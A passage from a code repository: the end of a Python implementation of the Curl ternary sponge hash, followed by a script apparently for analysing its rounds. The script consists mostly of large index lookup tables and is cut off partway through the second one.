35 | deterministic but not reversible. 36 | 37 | References: 38 | - :py:meth:`Curl._transform`. 39 | """ 40 | 41 | 42 | class Curl(object): 43 | """ 44 | Python implementation of Curl. 45 | 46 | **IMPORTANT: Not thread-safe!** 47 | """ 48 | def __init__(self): 49 | # type: (Optional[Sequence[int]]) -> None 50 | self.reset() 51 | 52 | # noinspection PyAttributeOutsideInit 53 | def reset(self): 54 | # type: () -> None 55 | """ 56 | Resets internal state. 57 | """ 58 | self._state = [0] * STATE_LENGTH # type: List[int] 59 | 60 | def absorb(self, trits): 61 | # type: (Sequence[int], Optional[int]) -> None 62 | """ 63 | Absorb trits into the sponge. 64 | 65 | :param trits: 66 | Sequence of trits to absorb. 67 | """ 68 | length = len(trits) 69 | offset = 0 70 | 71 | # Copy trits from ``trits`` into internal state, one hash at a 72 | # time, transforming internal state in between hashes. 73 | while offset < length: 74 | start = offset 75 | stop = min(start + HASH_LENGTH, length) 76 | 77 | # 78 | # Copy the next hash worth of trits to internal state. 79 | # 80 | # Note that we always copy the trits to the start of the state. 81 | # ``self._state`` is 3 hashes long, but only the first hash is 82 | # "public"; the other 2 are only accessible to 83 | # :py:meth:`_transform`. 84 | # 85 | self._state[0:stop-start] = trits[start:stop] 86 | 87 | # Transform. 88 | self._transform() 89 | 90 | # Move on to the next hash. 91 | offset += HASH_LENGTH 92 | 93 | def squeeze(self, trits): 94 | # type: (MutableSequence[int]) -> None 95 | """ 96 | Squeeze trits from the sponge. 97 | 98 | :param trits: 99 | Sequence that the squeezed trits will be copied to. 100 | Note: this object will be modified! 101 | """ 102 | # 103 | # Squeeze is kind of like the opposite of absorb; it copies trits 104 | # from internal state to the ``trits`` parameter, one hash at a 105 | # time, and transforming internal state in between hashes. 106 | # 107 | # However, only the first hash of the state is "public", so we 108 | # can simplify the implementation somewhat. 109 | # 110 | 111 | # Ensure that ``trits`` can hold at least one hash worth of trits. 112 | trits.extend([0] * max(0, HASH_LENGTH - len(trits))) 113 | 114 | # Copy exactly one hash. 115 | trits[0:HASH_LENGTH] = self._state[0:HASH_LENGTH] 116 | 117 | # One hash worth of trits copied; now transform. 118 | self._transform() 119 | 120 | def _transform(self, rounds = NUMBER_OF_ROUNDS): 121 | # type: () -> None 122 | """ 123 | Transforms internal state. 124 | """ 125 | # Copy some values locally so we can avoid global lookups in the 126 | # inner loop. 127 | # :see: https://wiki.python.org/moin/PythonSpeed/PerformanceTips#Local_Variables 128 | state_length = STATE_LENGTH 129 | truth_table = TRUTH_TABLE 130 | 131 | PY2 = True 132 | # Optimization: Ensure that we use a generator to create ranges. 133 | if PY2: 134 | # In Python 2, ``range`` returns a list, while ``xrange`` returns 135 | # a generator. 136 | # noinspection PyUnresolvedReferences 137 | range_ = xrange 138 | else: 139 | # In Python 3, ``range`` returns a generator, and ``xrange`` is 140 | # baleeted. 141 | range_ = range 142 | 143 | # Operate on a copy of ``self._state`` to eliminate dot lookups in 144 | # the inner loop. 145 | # :see: https://wiki.python.org/moin/PythonSpeed/PerformanceTips#Avoiding_dots... 146 | # :see: http://stackoverflow.com/a/2612990/ 147 | prev_state = self._state[:] 148 | new_state = prev_state[:] 149 | 150 | index = 0 151 | for r in range_(rounds): 152 | for pos in range_(state_length): 153 | prev_index = index 154 | index += (364 if index < 365 else -365) 155 | 156 | if True: 157 | new_state[pos] = ( 158 | truth_table[ 159 | prev_state[prev_index] 160 | + (3 * prev_state[index]) 161 | + 4 162 | ] 163 | ) 164 | else: 165 | print (rr, pos, triggers[rr]) 166 | 167 | prev_state = new_state 168 | new_state = new_state[:] 169 | 170 | self._state = new_state 171 | -------------------------------------------------------------------------------- /template/trit17.py: -------------------------------------------------------------------------------- 1 | from random import randint 2 | from pycurl import Curl 3 | import sys, ast, getopt, types 4 | 5 | 6 | index = {0: [0, 364], 1: [364, 728], 2: [728, 363], 3: [363, 727], 4: [727, 362], 5: [362, 726], 6: [726, 361], 7: [361, 725], 8: [725, 360], 9: [360, 724], 10: [724, 359], 11: [359, 723], 12: [723, 358], 13: [358, 722], 14: [722, 357], 15: [357, 721], 16: [721, 356], 17: [356, 720], 18: [720, 355], 19: [355, 719], 20: [719, 354], 21: [354, 718], 22: [718, 353], 23: [353, 717], 24: [717, 352], 25: [352, 716], 26: [716, 351], 27: [351, 715], 28: [715, 350], 29: [350, 714], 30: [714, 349], 31: [349, 713], 32: [713, 348], 33: [348, 712], 34: [712, 347], 35: [347, 711], 36: [711, 346], 37: [346, 710], 38: [710, 345], 39: [345, 709], 40: [709, 344], 41: [344, 708], 42: [708, 343], 43: [343, 707], 44: [707, 342], 45: [342, 706], 46: [706, 341], 47: [341, 705], 48: [705, 340], 49: [340, 704], 50: [704, 339], 51: [339, 703], 52: [703, 338], 53: [338, 702], 54: [702, 337], 55: [337, 701], 56: [701, 336], 57: [336, 700], 58: [700, 335], 59: [335, 699], 60: [699, 334], 61: [334, 698], 62: [698, 333], 63: [333, 697], 64: [697, 332], 65: [332, 696], 66: [696, 331], 67: [331, 695], 68: [695, 330], 69: [330, 694], 70: [694, 329], 71: [329, 693], 72: [693, 328], 73: [328, 692], 74: [692, 327], 75: [327, 691], 76: [691, 326], 77: [326, 690], 78: [690, 325], 79: [325, 689], 80: [689, 324], 81: [324, 688], 82: [688, 323], 83: [323, 687], 84: [687, 322], 85: [322, 686], 86: [686, 321], 87: [321, 685], 88: [685, 320], 89: [320, 684], 90: [684, 319], 91: [319, 683], 92: [683, 318], 93: [318, 682], 94: [682, 317], 95: [317, 681], 96: [681, 316], 97: [316, 680], 98: [680, 315], 99: [315, 679], 100: [679, 314], 101: [314, 678], 102: [678, 313], 103: [313, 677], 104: [677, 312], 105: [312, 676], 106: [676, 311], 107: [311, 675], 108: [675, 310], 109: [310, 674], 110: [674, 309], 111: [309, 673], 112: [673, 308], 113: [308, 672], 114: [672, 307], 115: [307, 671], 116: [671, 306], 117: [306, 670], 118: [670, 305], 119: [305, 669], 120: [669, 304], 121: [304, 668], 122: [668, 303], 123: [303, 667], 124: [667, 302], 125: [302, 666], 126: [666, 301], 127: [301, 665], 128: [665, 300], 129: [300, 664], 130: [664, 299], 131: [299, 663], 132: [663, 298], 133: [298, 662], 134: [662, 297], 135: [297, 661], 136: [661, 296], 137: [296, 660], 138: [660, 295], 139: [295, 659], 140: [659, 294], 141: [294, 658], 142: [658, 293], 143: [293, 657], 144: [657, 292], 145: [292, 656], 146: [656, 291], 147: [291, 655], 148: [655, 290], 149: [290, 654], 150: [654, 289], 151: [289, 653], 152: [653, 288], 153: [288, 652], 154: [652, 287], 155: [287, 651], 156: [651, 286], 157: [286, 650], 158: [650, 285], 159: [285, 649], 160: [649, 284], 161: [284, 648], 162: [648, 283], 163: [283, 647], 164: [647, 282], 165: [282, 646], 166: [646, 281], 167: [281, 645], 168: [645, 280], 169: [280, 644], 170: [644, 279], 171: [279, 643], 172: [643, 278], 173: [278, 642], 174: [642, 277], 175: [277, 641], 176: [641, 276], 177: [276, 640], 178: [640, 275], 179: [275, 639], 180: [639, 274], 181: [274, 638], 182: [638, 273], 183: [273, 637], 184: [637, 272], 185: [272, 636], 186: [636, 271], 187: [271, 635], 188: [635, 270], 189: [270, 634], 190: [634, 269], 191: [269, 633], 192: [633, 268], 193: [268, 632], 194: [632, 267], 195: [267, 631], 196: [631, 266], 197: [266, 630], 198: [630, 265], 199: [265, 629], 200: [629, 264], 201: [264, 628], 202: [628, 263], 203: [263, 627], 204: [627, 262], 205: [262, 626], 206: [626, 261], 207: [261, 625], 208: [625, 260], 209: [260, 624], 210: [624, 259], 211: [259, 623], 212: [623, 258], 213: [258, 622], 214: [622, 257], 215: [257, 621], 216: [621, 256], 217: [256, 620], 218: [620, 255], 219: [255, 619], 220: [619, 254], 221: [254, 618], 222: [618, 253], 223: [253, 617], 224: [617, 252], 225: [252, 616], 226: [616, 251], 227: [251, 615], 228: [615, 250], 229: [250, 614], 230: [614, 249], 231: [249, 613], 232: [613, 248], 233: [248, 612], 234: [612, 247], 235: [247, 611], 236: [611, 246], 237: [246, 610], 238: [610, 245], 239: [245, 609], 240: [609, 244], 241: [244, 608], 242: [608, 243], 243: [243, 607], 244: [607, 242], 245: [242, 606], 246: [606, 241], 247: [241, 605], 248: [605, 240], 249: [240, 604], 250: [604, 239], 251: [239, 603], 252: [603, 238], 253: [238, 602], 254: [602, 237], 255: [237, 601], 256: [601, 236], 257: [236, 600], 258: [600, 235], 259: [235, 599], 260: [599, 234], 261: [234, 598], 262: [598, 233], 263: [233, 597], 264: [597, 232], 265: [232, 596], 266: [596, 231], 267: [231, 595], 268: [595, 230], 269: [230, 594], 270: [594, 229], 271: [229, 593], 272: [593, 228], 273: [228, 592], 274: [592, 227], 275: [227, 591], 276: [591, 226], 277: [226, 590], 278: [590, 225], 279: [225, 589], 280: [589, 224], 281: [224, 588], 282: [588, 223], 283: [223, 587], 284: [587, 222], 285: [222, 586], 286: [586, 221], 287: [221, 585], 288: [585, 220], 289: [220, 584], 290: [584, 219], 291: [219, 583], 292: [583, 218], 293: [218, 582], 294: [582, 217], 295: [217, 581], 296: [581, 216], 297: [216, 580], 298: [580, 215], 299: [215, 579], 300: [579, 214], 301: [214, 578], 302: [578, 213], 303: [213, 577], 304: [577, 212], 305: [212, 576], 306: [576, 211], 307: [211, 575], 308: [575, 210], 309: [210, 574], 310: [574, 209], 311: [209, 573], 312: [573, 208], 313: [208, 572], 314: [572, 207], 315: [207, 571], 316: [571, 206], 317: [206, 570], 318: [570, 205], 319: [205, 569], 320: [569, 204], 321: [204, 568], 322: [568, 203], 323: [203, 567], 324: [567, 202], 325: [202, 566], 326: [566, 201], 327: [201, 565], 328: [565, 200], 329: [200, 564], 330: [564, 199], 331: [199, 563], 332: [563, 198], 333: [198, 562], 334: [562, 197], 335: [197, 561], 336: [561, 196], 337: [196, 560], 338: [560, 195], 339: [195, 559], 340: [559, 194], 341: [194, 558], 342: [558, 193], 343: [193, 557], 344: [557, 192], 345: [192, 556], 346: [556, 191], 347: [191, 555], 348: [555, 190], 349: [190, 554], 350: [554, 189], 351: [189, 553], 352: [553, 188], 353: [188, 552], 354: [552, 187], 355: [187, 551], 356: [551, 186], 357: [186, 550], 358: [550, 185], 359: [185, 549], 360: [549, 184], 361: [184, 548], 362: [548, 183], 363: [183, 547], 364: [547, 182], 365: [182, 546], 366: [546, 181], 367: [181, 545], 368: [545, 180], 369: [180, 544], 370: [544, 179], 371: [179, 543], 372: [543, 178], 373: [178, 542], 374: [542, 177], 375: [177, 541], 376: [541, 176], 377: [176, 540], 378: [540, 175], 379: [175, 539], 380: [539, 174], 381: [174, 538], 382: [538, 173], 383: [173, 537], 384: [537, 172], 385: [172, 536], 386: [536, 171], 387: [171, 535], 388: [535, 170], 389: [170, 534], 390: [534, 169], 391: [169, 533], 392: [533, 168], 393: [168, 532], 394: [532, 167], 395: [167, 531], 396: [531, 166], 397: [166, 530], 398: [530, 165], 399: [165, 529], 400: [529, 164], 401: [164, 528], 402: [528, 163], 403: [163, 527], 404: [527, 162], 405: [162, 526], 406: [526, 161], 407: [161, 525], 408: [525, 160], 409: [160, 524], 410: [524, 159], 411: [159, 523], 412: [523, 158], 413: [158, 522], 414: [522, 157], 415: [157, 521], 416: [521, 156], 417: [156, 520], 418: [520, 155], 419: [155, 519], 420: [519, 154], 421: [154, 518], 422: [518, 153], 423: [153, 517], 424: [517, 152], 425: [152, 516], 426: [516, 151], 427: [151, 515], 428: [515, 150], 429: [150, 514], 430: [514, 149], 431: [149, 513], 432: [513, 148], 433: [148, 512], 434: [512, 147], 435: [147, 511], 436: [511, 146], 437: [146, 510], 438: [510, 145], 439: [145, 509], 440: [509, 144], 441: [144, 508], 442: [508, 143], 443: [143, 507], 444: [507, 142], 445: [142, 506], 446: [506, 141], 447: [141, 505], 448: [505, 140], 449: [140, 504], 450: [504, 139], 451: [139, 503], 452: [503, 138], 453: [138, 502], 454: [502, 137], 455: [137, 501], 456: [501, 136], 457: [136, 500], 458: [500, 135], 459: [135, 499], 460: [499, 134], 461: [134, 498], 462: [498, 133], 463: [133, 497], 464: [497, 132], 465: [132, 496], 466: [496, 131], 467: [131, 495], 468: [495, 130], 469: [130, 494], 470: [494, 129], 471: [129, 493], 472: [493, 128], 473: [128, 492], 474: [492, 127], 475: [127, 491], 476: [491, 126], 477: [126, 490], 478: [490, 125], 479: [125, 489], 480: [489, 124], 481: [124, 488], 482: [488, 123], 483: [123, 487], 484: [487, 122], 485: [122, 486], 486: [486, 121], 487: [121, 485], 488: [485, 120], 489: [120, 484], 490: [484, 119], 491: [119, 483], 492: [483, 118], 493: [118, 482], 494: [482, 117], 495: [117, 481], 496: [481, 116], 497: [116, 480], 498: [480, 115], 499: [115, 479], 500: [479, 114], 501: [114, 478], 502: [478, 113], 503: [113, 477], 504: [477, 112], 505: [112, 476], 506: [476, 111], 507: [111, 475], 508: [475, 110], 509: [110, 474], 510: [474, 109], 511: [109, 473], 512: [473, 108], 513: [108, 472], 514: [472, 107], 515: [107, 471], 516: [471, 106], 517: [106, 470], 518: [470, 105], 519: [105, 469], 520: [469, 104], 521: [104, 468], 522: [468, 103], 523: [103, 467], 524: [467, 102], 525: [102, 466], 526: [466, 101], 527: [101, 465], 528: [465, 100], 529: [100, 464], 530: [464, 99], 531: [99, 463], 532: [463, 98], 533: [98, 462], 534: [462, 97], 535: [97, 461], 536: [461, 96], 537: [96, 460], 538: [460, 95], 539: [95, 459], 540: [459, 94], 541: [94, 458], 542: [458, 93], 543: [93, 457], 544: [457, 92], 545: [92, 456], 546: [456, 91], 547: [91, 455], 548: [455, 90], 549: [90, 454], 550: [454, 89], 551: [89, 453], 552: [453, 88], 553: [88, 452], 554: [452, 87], 555: [87, 451], 556: [451, 86], 557: [86, 450], 558: [450, 85], 559: [85, 449], 560: [449, 84], 561: [84, 448], 562: [448, 83], 563: [83, 447], 564: [447, 82], 565: [82, 446], 566: [446, 81], 567: [81, 445], 568: [445, 80], 569: [80, 444], 570: [444, 79], 571: [79, 443], 572: [443, 78], 573: [78, 442], 574: [442, 77], 575: [77, 441], 576: [441, 76], 577: [76, 440], 578: [440, 75], 579: [75, 439], 580: [439, 74], 581: [74, 438], 582: [438, 73], 583: [73, 437], 584: [437, 72], 585: [72, 436], 586: [436, 71], 587: [71, 435], 588: [435, 70], 589: [70, 434], 590: [434, 69], 591: [69, 433], 592: [433, 68], 593: [68, 432], 594: [432, 67], 595: [67, 431], 596: [431, 66], 597: [66, 430], 598: [430, 65], 599: [65, 429], 600: [429, 64], 601: [64, 428], 602: [428, 63], 603: [63, 427], 604: [427, 62], 605: [62, 426], 606: [426, 61], 607: [61, 425], 608: [425, 60], 609: [60, 424], 610: [424, 59], 611: [59, 423], 612: [423, 58], 613: [58, 422], 614: [422, 57], 615: [57, 421], 616: [421, 56], 617: [56, 420], 618: [420, 55], 619: [55, 419], 620: [419, 54], 621: [54, 418], 622: [418, 53], 623: [53, 417], 624: [417, 52], 625: [52, 416], 626: [416, 51], 627: [51, 415], 628: [415, 50], 629: [50, 414], 630: [414, 49], 631: [49, 413], 632: [413, 48], 633: [48, 412], 634: [412, 47], 635: [47, 411], 636: [411, 46], 637: [46, 410], 638: [410, 45], 639: [45, 409], 640: [409, 44], 641: [44, 408], 642: [408, 43], 643: [43, 407], 644: [407, 42], 645: [42, 406], 646: [406, 41], 647: [41, 405], 648: [405, 40], 649: [40, 404], 650: [404, 39], 651: [39, 403], 652: [403, 38], 653: [38, 402], 654: [402, 37], 655: [37, 401], 656: [401, 36], 657: [36, 400], 658: [400, 35], 659: [35, 399], 660: [399, 34], 661: [34, 398], 662: [398, 33], 663: [33, 397], 664: [397, 32], 665: [32, 396], 666: [396, 31], 667: [31, 395], 668: [395, 30], 669: [30, 394], 670: [394, 29], 671: [29, 393], 672: [393, 28], 673: [28, 392], 674: [392, 27], 675: [27, 391], 676: [391, 26], 677: [26, 390], 678: [390, 25], 679: [25, 389], 680: [389, 24], 681: [24, 388], 682: [388, 23], 683: [23, 387], 684: [387, 22], 685: [22, 386], 686: [386, 21], 687: [21, 385], 688: [385, 20], 689: [20, 384], 690: [384, 19], 691: [19, 383], 692: [383, 18], 693: [18, 382], 694: [382, 17], 695: [17, 381], 696: [381, 16], 697: [16, 380], 698: [380, 15], 699: [15, 379], 700: [379, 14], 701: [14, 378], 702: [378, 13], 703: [13, 377], 704: [377, 12], 705: [12, 376], 706: [376, 11], 707: [11, 375], 708: [375, 10], 709: [10, 374], 710: [374, 9], 711: [9, 373], 712: [373, 8], 713: [8, 372], 714: [372, 7], 715: [7, 371], 716: [371, 6], 717: [6, 370], 718: [370, 5], 719: [5, 369], 720: [369, 4], 721: [4, 368], 722: [368, 3], 723: [3, 367], 724: [367, 2], 725: [2, 366], 726: [366, 1], 727: [1, 365], 728: [365, 0]} 7 | 8 | #0 impacts 0 with 364 9 | larr = {0: (0, 364), 1: (727, 365), 2: (725, 366), 3: (723, 367), 4: (721, 368), 5: (719, 369), 6: (717, 370), 7: (715, 371), 8: (713, 372), 9: (711, 373), 10: (709, 374), 11: (707, 375), 12: (705, 376), 13: (703, 377), 14: (701, 378), 15: (699, 379), 16: (697, 380), 17: (695, 381), 18: (693, 382), 19: (691, 383), 20: (689, 384), 21: (687, 385), 22: (685, 386), 23: (683, 387), 24: (681, 388), 25: (679, 389), 26: (677, 390), 27: (675, 391), 28: (673, 392), 29: (671, 393), 30: (669, 394), 31: (667, 395), 32: (665, 396), 33: (663, 397), 34: (661, 398), 35: (659, 399), 36: (657, 400), 37: (655, 401), 38: (653, 402), 39: (651, 403), 40: (649, 404), 41: (647, 405), 42: (645, 406), 43: (643, 407), 44: (641, 408), 45: (639, 409), 46: (637, 410), 47: (635, 411), 48: (633, 412), 49: (631, 413), 50: (629, 414), 51: (627, 415), 52: (625, 416), 53: (623, 417), 54: (621, 418), 55: (619, 419), 56: (617, 420), 57: (615, 421), 58: (613, 422), 59: (611, 423), 60: (609, 424), 61: (607, 425), 62: (605, 426), 63: (603, 427), 64: (601, 428), 65: (599, 429), 66: (597, 430), 67: (595, 431), 68: (593, 432), 69: (591, 433), 70: (589, 434), 71: (587, 435), 72: (585, 436), 73: (583, 437), 74: (581, 438), 75: (579, 439), 76: (577, 440), 77: (575, 441), 78: (573, 442), 79: (571, 443), 80: (569, 444), 81: (567, 445), 82: (565, 446), 83: (563, 447), 84: (561, 448), 85: (559, 449), 86: (557, 450), 87: (555, 451), 88: (553, 452), 89: (551, 453), 90: (549, 454), 91: (547, 455), 92: (545, 456), 93: (543, 457), 94: (541, 458), 95: (539, 459), 96: (537, 460), 97: (535, 461), 98: (533, 462), 99: (531, 463), 100: (529, 464), 101: (527, 465), 102: (525, 466), 103: (523, 467), 104: (521, 468), 105: (519, 469), 106: (517, 470), 107: (515, 471), 108: (513, 472), 109: (511, 473), 110: (509, 474), 111: (507, 475), 112: (505, 476), 113: (503, 477), 114: (501, 478), 115: (499, 479), 116: (497, 480), 117: (495, 481), 118: (493, 482), 119: (491, 483), 120: (489, 484), 121: (487, 485), 122: (485, 486), 123: (483, 487), 124: (481, 488), 125: (479, 489), 126: (477, 490), 127: (475, 491), 128: (473, 492), 129: (471, 493), 130: (469, 494), 131: (467, 495), 132: (465, 496), 133: (463, 497), 134: (461, 498), 135: (459, 499), 136: (457, 500), 137: (455, 501), 138: (453, 502), 139: (451, 503), 140: (449, 504), 141: (447, 505), 142: (445, 506), 143: (443, 507), 144: (441, 508), 145: (439, 509), 146: (437, 510), 147: (435, 511), 148: (433, 512), 149: (431, 513), 150: (429, 514), 151: (427, 515), 152: (425, 516), 153: (423, 517), 154: (421, 518), 155: (419, 519), 156: (417, 520), 157: (415, 521), 158: (413, 522), 159: (411, 523), 160: (409, 524), 161: (407, 525), 162: (405, 526), 163: (403, 527), 164: (401, 528), 165: (399, 529), 166: (397, 530), 167: (395, 531), 168: (393, 532), 169: (391, 533), 170: (389, 534), 171: (387, 535), 172: (385, 536), 173: (383, 537), 174: (381, 538), 175: (379, 539), 176: (377, 540), 177: (375, 541), 178: (373, 542), 179: (371, 543), 180: (369, 544), 181: (367, 545), 182: (365, 546), 183: (363, 547), 184: (361, 548), 185: (359, 549), 186: (357, 550), 187: (355, 551), 188: (353, 552), 189: (351, 553), 190: (349, 554), 191: (347, 555), 192: (345, 556), 193: (343, 557), 194: (341, 558), 195: (339, 559), 196: (337, 560), 197: (335, 561), 198: (333, 562), 199: (331, 563), 200: (329, 564), 201: (327, 565), 202: (325, 566), 203: (323, 567), 204: (321, 568), 205: (319, 569), 206: (317, 570), 207: (315, 571), 208: (313, 572), 209: (311, 573), 210: (309, 574), 211: (307, 575), 212: (305, 576), 213: (303, 577), 214: (301, 578), 215: (299, 579), 216: (297, 580), 217: (295, 581), 218: (293, 582), 219: (291, 583), 220: (289, 584), 221: (287, 585), 222: (285, 586), 223: (283, 587), 224: (281, 588), 225: (279, 589), 226: (277, 590), 227: (275, 591), 228: (273, 592), 229: (271, 593), 230: (269, 594), 231: (267, 595), 232: (265, 596), 233: (263, 597), 234: (261, 598), 235: (259, 599), 236: (257, 600), 237: (255, 601), 238: (253, 602), 239: (251, 603), 240: (249, 604), 241: (247, 605), 242: (245, 606), 243: (243, 607), 244: (241, 608), 245: (239, 609), 246: (237, 610), 247: (235, 611), 248: (233, 612), 249: (231, 613), 250: (229, 614), 251: (227, 615), 252: (225, 616), 253: (223, 617), 254: (221, 618), 255: (219, 619), 256: (217, 620), 257: (215, 621), 258: (213, 622), 259: (211, 623), 260: (209, 624), 261: (207, 625), 262: (205, 626), 263: (203, 627), 264: (201, 628), 265: (199, 629), 266: (197, 630), 267: (195, 631), 268: (193, 632), 269: (191, 633), 270: (189, 634), 271: (187, 635), 272: (185, 636), 273: (183, 637), 274: (181, 638), 275: (179, 639), 276: (177, 640), 277: (175, 641), 278: (173, 642), 279: (171, 643), 280: (169, 644), 281: (167, 645), 282: (165, 646), 283: (163, 647), 284: (161, 648), 285: (159, 649), 286: (157, 650), 287: (155, 651), 288: (153, 652), 289: (151, 653), 290: (149, 654), 291: (147, 655), 292: (145, 656), 293: (143, 657), 294: (141, 658), 295: (139, 659), 296: (137, 660), 297: (135, 661), 298: (133, 662), 299: (131, 663), 300: (129, 664), 301: (127, 665), 302: (125, 666), 303: (123, 667), 304: (121, 668), 305: (119, 669), 306: (117, 670), 307: (115, 671), 308: (113, 672), 309: (111, 673), 310: (109, 674), 311: (107, 675), 312: (105, 676), 313: (103, 677), 314: (101, 678), 315: (99, 679), 316: (97, 680), 317: (95, 681), 318: (93, 682), 319: (91, 683), 320: (89, 684), 321: (87, 685), 322: (85, 686), 323: (83, 687), 324: (81, 688), 325: (79, 689), 326: (77, 690), 327: (75, 691), 328: (73, 692), 329: (71, 693), 330: (69, 694), 331: (67, 695), 332: (65, 696), 333: (63, 697), 334: (61, 698), 335: (59, 699), 336: (57, 700), 337: (55, 701), 338: (53, 702), 339: (51, 703), 340: (49, 704), 341: (47, 705), 342: (45, 706), 343: (43, 707), 344: (41, 708), 345: (39, 709), 346: (37, 710), 347: (35, 711), 348: (33, 712), 349: (31, 713), 350: (29, 714), 351: (27, 715), 352: (25, 716), 353: (23, 717), 354: (21, 718), 355: (19, 719), 356: (17, 720), 357: (15, 721), 358: (13, 722), 359: (11, 723), 360: (9, 724), 361: (7, 725), 362: (5, 726), 363: (3, 727), 364: (1, 728), 365: (728, 0), 366: (726, 1), 367: (724, 2), 368: (722, 3), 369: (720, 4), 370: (718, 5), 371: (716, 6), 372: (714, 7), 373: (712, 8), 374: (710, 9), 375: (708, 10), 376: (706, 11), 377: (704, 12), 378: (702, 13), 379: (700, 14), 380: (698, 15), 381: (696, 16), 382: (694, 17), 383: (692, 18), 384: (690, 19), 385: (688, 20), 386: (686, 21), 387: (684, 22), 388: (682, 23), 389: (680, 24), 390: (678, 25), 391: (676, 26), 392: (674, 27), 393: (672, 28), 394: (670, 29), 395: (668, 30), 396: (666, 31), 397: (664, 32), 398: (662, 33), 399: (660, 34), 400: (658, 35), 401: (656, 36), 402: (654, 37), 403: (652, 38), 404: (650, 39), 405: (648, 40), 406: (646, 41), 407: (644, 42), 408: (642, 43), 409: (640, 44), 410: (638, 45), 411: (636, 46), 412: (634, 47), 413: (632, 48), 414: (630, 49), 415: (628, 50), 416: (626, 51), 417: (624, 52), 418: (622, 53), 419: (620, 54), 420: (618, 55), 421: (616, 56), 422: (614, 57), 423: (612, 58), 424: (610, 59), 425: (608, 60), 426: (606, 61), 427: (604, 62), 428: (602, 63), 429: (600, 64), 430: (598, 65), 431: (596, 66), 432: (594, 67), 433: (592, 68), 434: (590, 69), 435: (588, 70), 436: (586, 71), 437: (584, 72), 438: (582, 73), 439: (580, 74), 440: (578, 75), 441: (576, 76), 442: (574, 77), 443: (572, 78), 444: (570, 79), 445: (568, 80), 446: (566, 81), 447: (564, 82), 448: (562, 83), 449: (560, 84), 450: (558, 85), 451: (556, 86), 452: (554, 87), 453: (552, 88), 454: (550, 89), 455: (548, 90), 456: (546, 91), 457: (544, 92), 458: (542, 93), 459: (540, 94), 460: (538, 95), 461: (536, 96), 462: (534, 97), 463: (532, 98), 464: (530, 99), 465: (528, 100), 466: (526, 101), 467: (524, 102), 468: (522, 103), 469: (520, 104), 470: (518, 105), 471: (516, 106), 472: (514, 107), 473: (512, 108), 474: (510, 109), 475: (508, 110), 476: (506, 111), 477: (504, 112), 478: (502, 113), 479: (500, 114), 480: (498, 115), 481: (496, 116), 482: (494, 117), 483: (492, 118), 484: (490, 119), 485: (488, 120), 486: (486, 121), 487: (484, 122), 488: (482, 123), 489: (480, 124), 490: (478, 125), 491: (476, 126), 492: (474, 127), 493: (472, 128), 494: (470, 129), 495: (468, 130), 496: (466, 131), 497: (464, 132), 498: (462, 133), 499: (460, 134), 500: (458, 135), 501: (456, 136), 502: (454, 137), 503: (452, 138), 504: (450, 139), 505: (448, 140), 506: (446, 141), 507: (444, 142), 508: (442, 143), 509: (440, 144), 510: (438, 145), 511: (436, 146), 512: (434, 147), 513: (432, 148), 514: (430, 149), 515: (428, 150), 516: (426, 151), 517: (424, 152), 518: (422, 153), 519: (420, 154), 520: (418, 155), 521: (416, 156), 522: (414, 157), 523: (412, 158), 524: (410, 159), 525: (408, 160), 526: (406, 161), 527: (404, 162), 528: (402, 163), 529: (400, 164), 530: (398, 165), 531: (396, 166), 532: (394, 167), 533: (392, 168), 534: (390, 169), 535: (388, 170), 536: (386, 171), 537: (384, 172), 538: (382, 173), 539: (380, 174), 540: (378, 175), 541: (376, 176), 542: (374, 177), 543: (372, 178), 544: (370, 179), 545: (368, 180), 546: (366, 181), 547: (364, 182), 548: (362, 183), 549: (360, 184), 550: (358, 185), 551: (356, 186), 552: (354, 187), 553: (352, 188), 554: (350, 189), 555: (348, 190), 556: (346, 191), 557: (344, 192), 558: (342, 193), 559: (340, 194), 560: (338, 195), 561: (336, 196), 562: (334, 197), 563: (332, 198), 564: (330, 199), 565: (328, 200), 566: (326, 201), 567: (324, 202), 568: (322, 203), 569: (320, 204), 570: (318, 205), 571: (316, 206), 572: (314, 207), 573: (312, 208), 574: (310, 209), 575: (308, 210), 576: (306, 211), 577: (304, 212), 578: (302, 213), 579: (300, 214), 580: (298, 215), 581: (296, 216), 582: (294, 217), 583: (292, 218), 584: (290, 219), 585: (288, 220), 586: (286, 221), 587: (284, 222), 588: (282, 223), 589: (280, 224), 590: (278, 225), 591: (276, 226), 592: (274, 227), 593: (272, 228), 594: (270, 229), 595: (268, 230), 596: (266, 231), 597: (264, 232), 598: (262, 233), 599: (260, 234), 600: (258, 235), 601: (256, 236), 602: (254, 237), 603: (252, 238), 604: (250, 239), 605: (248, 240), 606: (246, 241), 607: (244, 242), 608: (242, 243), 609: (240, 244), 610: (238, 245), 611: (236, 246), 612: (234, 247), 613: (232, 248), 614: (230, 249), 615: (228, 250), 616: (226, 251), 617: (224, 252), 618: (222, 253), 619: (220, 254), 620: (218, 255), 621: (216, 256), 622: (214, 257), 623: (212, 258), 624: (210, 259), 625: (208, 260), 626: (206, 261), 627: (204, 262), 628: (202, 263), 629: (200, 264), 630: (198, 265), 631: (196, 266), 632: (194, 267), 633: (192, 268), 634: (190, 269), 635: (188, 270), 636: (186, 271), 637: (184, 272), 638: (182, 273), 639: (180, 274), 640: (178, 275), 641: (176, 276), 642: (174, 277), 643: (172, 278), 644: (170, 279), 645: (168, 280), 646: (166, 281), 647: (164, 282), 648: (162, 283), 649: (160, 284), 650: (158, 285), 651: (156, 286), 652: (154, 287), 653: (152, 288), 654: (150, 289), 655: (148, 290), 656: (146, 291), 657: (144, 292), 658: (142, 293), 659: (140, 294), 660: (138, 295), 661: (136, 296), 662: (134, 297), 663: (132, 298), 664: (130, 299), 665: (128, 300), 666: (126, 301), 667: (124, 302), 668: (122, 303), 669: (120, 304), 670: (118, 305), 671: (116, 306), 672: (114, 307), 673: (112, 308), 674: (110, 309), 675: (108, 310), 676: (106, 311), 677: (104, 312), 678: (102, 313), 679: (100, 314), 680: (98, 315), 681: (96, 316), 682: (94, 317), 683: (92, 318), 684: (90, 319), 685: (88, 320), 686: (86, 321), 687: (84, 322), 688: (82, 323), 689: (80, 324), 690: (78, 325), 691: (76, 326), 692: (74, 327), 693: (72, 328), 694: (70, 329), 695: (68, 330), 696: (66, 331), 697: (64, 332), 698: (62, 333), 699: (60, 334), 700: (58, 335), 701: (56, 336), 702: (54, 337), 703: (52, 338), 704: (50, 339), 705: (48, 340), 706: (46, 341), 707: (44, 342), 708: (42, 343), 709: (40, 344), 710: (38, 345), 711: (36, 346), 712: (34, 347), 713: (32, 348), 714: (30, 349), 715: (28, 350), 716: (26, 351), 717: (24, 352), 718: (22, 353), 719: (20, 354), 720: (18, 355), 721: (16, 356), 